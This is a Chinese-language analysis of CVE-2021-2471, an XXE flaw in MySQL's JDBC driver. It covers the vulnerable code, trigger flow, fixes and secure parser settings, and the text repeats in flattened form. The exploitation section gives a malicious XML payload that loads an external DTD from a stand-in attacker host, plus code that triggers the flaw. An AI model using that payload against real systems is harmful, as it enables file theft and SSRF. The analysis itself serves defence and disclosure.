CVE-2021-2471 JDBC-XXE漏洞分析
字数 1195 2025-08-03 16:50:06

MySQL JDBC XXE漏洞分析 (CVE-2021-2471)

漏洞概述

CVE-2021-2471是MySQL JDBC驱动中的一个XML外部实体注入(XXE)漏洞,影响8.0.27之前的所有版本。该漏洞存在于MysqlSQLXML类的getSource方法中,由于未对传入的XML数据进行安全处理,攻击者可以通过构造恶意XML数据引入外部实体,导致XXE攻击。

漏洞影响

  • 受影响版本: MySQL JDBC驱动 < 8.0.27
  • 漏洞类型: XML外部实体注入(XXE)
  • CVSS评分: 中危(具体评分需参考官方评估)

漏洞原理分析

漏洞位置

漏洞主要存在于src/main/user-impl/java/com/mysql/cj/jdbc/MysqlSQLXML.java文件中的getSource方法。

关键代码分析

public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
    checkClosed();
    checkWorkingWithResult();

    if (clazz == null || clazz.equals(SAXSource.class)) {
        // SAXSource处理逻辑
    } else if (clazz.equals(DOMSource.class)) {
        // 漏洞主要出现在这里的DOMSource处理逻辑
        try {
            DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
            builderFactory.setNamespaceAware(true);
            DocumentBuilder builder = builderFactory.newDocumentBuilder();

            InputSource inputSource = null;

            if (this.fromResultSet) {
                inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
            } else {
                inputSource = new InputSource(new StringReader(this.stringRep));
            }

            return (T) new DOMSource(builder.parse(inputSource)); // 漏洞触发点
        } catch (Throwable t) {
            SQLException sqlEx = SQLError.createSQLException(t.getMessage(), 
                MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, t, this.exceptionInterceptor);
            throw sqlEx;
        }
    } else if (clazz.equals(StreamSource.class)) {
        // StreamSource处理逻辑
    } else if (clazz.equals(StAXSource.class)) {
        // StAXSource处理逻辑
    } else {
        throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", 
            new Object[] { clazz.toString() }),
            MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);
    }
}

漏洞触发流程

  1. 应用程序通过ResultSet.getSQLXML()获取SQLXML对象
  2. 调用SQLXML.getSource(DOMSource.class)方法
  3. 方法内部创建DocumentBuilder解析XML数据
  4. 解析过程中未禁用外部实体引用,导致XXE漏洞

关键问题

在创建DocumentBuilder时,虽然设置了setNamespaceAware(true),但未设置以下关键安全属性:

// 缺失的安全设置
builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
builderFactory.setXIncludeAware(false);
builderFactory.setExpandEntityReferences(false);

SQLXML接口背景

SQLXML是Java SQL API的一部分,用于处理数据库中的XML数据。主要用途包括:

  • 通过ResultSet.getSQLXML()获取XML数据
  • 通过PreparedStatement.setSQLXML()设置XML数据
  • 通过getSource()/setResult()方法转换XML数据格式

漏洞利用

利用前提

  1. 攻击者能够控制存入数据库的XML数据
  2. 应用程序使用受影响版本的MySQL JDBC驱动
  3. 应用程序使用SQLXML.getSource(DOMSource.class)方法解析XML

利用步骤

  1. 构造恶意XML并存入数据库:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<root/>
  1. 应用程序代码示例(触发漏洞):
Statement statement = connection.createStatement();
statement.execute("select * from malicious_xml_table");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
    SQLXML sqlxml = resultSet.getSQLXML("xml_column");
    DOMSource domSource = sqlxml.getSource(DOMSource.class); // 触发XXE
    Document document = (Document) domSource.getNode();
}
  1. 攻击效果:
    • 读取服务器文件
    • 发起SSRF攻击
    • 可能的拒绝服务攻击

修复方案

官方修复

MySQL在8.0.27版本中修复了此漏洞,主要修复方式是在解析XML时添加了安全配置:

DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
// 新增的安全设置
builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

临时缓解措施

如果无法立即升级,可以采取以下措施:

  1. 避免使用SQLXML.getSource(DOMSource.class)方法
  2. 使用SAX解析器并手动配置安全属性
  3. 对存入数据库的XML数据进行严格过滤

安全编码建议

  1. 始终配置XML解析器的安全属性:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用DTDs
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 禁用外部实体
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// 禁用其他危险功能
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
  1. 使用白名单验证XML输入
  2. 在应用程序层面限制XML外部资源访问

参考链接

  1. MySQL官方公告
  2. Oracle SQLXML文档
  3. XXE防护指南
MySQL JDBC XXE漏洞分析 (CVE-2021-2471) 漏洞概述 CVE-2021-2471是MySQL JDBC驱动中的一个XML外部实体注入(XXE)漏洞,影响8.0.27之前的所有版本。该漏洞存在于 MysqlSQLXML 类的 getSource 方法中,由于未对传入的XML数据进行安全处理,攻击者可以通过构造恶意XML数据引入外部实体,导致XXE攻击。 漏洞影响 受影响版本 : MySQL JDBC驱动 < 8.0.27 漏洞类型 : XML外部实体注入(XXE) CVSS评分 : 中危(具体评分需参考官方评估) 漏洞原理分析 漏洞位置 漏洞主要存在于 src/main/user-impl/java/com/mysql/cj/jdbc/MysqlSQLXML.java 文件中的 getSource 方法。 关键代码分析 漏洞触发流程 应用程序通过 ResultSet.getSQLXML() 获取SQLXML对象 调用 SQLXML.getSource(DOMSource.class) 方法 方法内部创建 DocumentBuilder 解析XML数据 解析过程中未禁用外部实体引用,导致XXE漏洞 关键问题 在创建 DocumentBuilder 时,虽然设置了 setNamespaceAware(true) ,但未设置以下关键安全属性: SQLXML接口背景 SQLXML是Java SQL API的一部分,用于处理数据库中的XML数据。主要用途包括: 通过 ResultSet.getSQLXML() 获取XML数据 通过 PreparedStatement.setSQLXML() 设置XML数据 通过 getSource() / setResult() 方法转换XML数据格式 漏洞利用 利用前提 攻击者能够控制存入数据库的XML数据 应用程序使用受影响版本的MySQL JDBC驱动 应用程序使用 SQLXML.getSource(DOMSource.class) 方法解析XML 利用步骤 构造恶意XML 并存入数据库: 应用程序代码 示例(触发漏洞): 攻击效果 : 读取服务器文件 发起SSRF攻击 可能的拒绝服务攻击 修复方案 官方修复 MySQL在8.0.27版本中修复了此漏洞,主要修复方式是在解析XML时添加了安全配置: 临时缓解措施 如果无法立即升级,可以采取以下措施: 避免使用 SQLXML.getSource(DOMSource.class) 方法 使用SAX解析器并手动配置安全属性 对存入数据库的XML数据进行严格过滤 安全编码建议 始终配置XML解析器的安全属性 : 使用白名单验证XML输入 在应用程序层面限制XML外部资源访问 参考链接 MySQL官方公告 Oracle SQLXML文档 XXE防护指南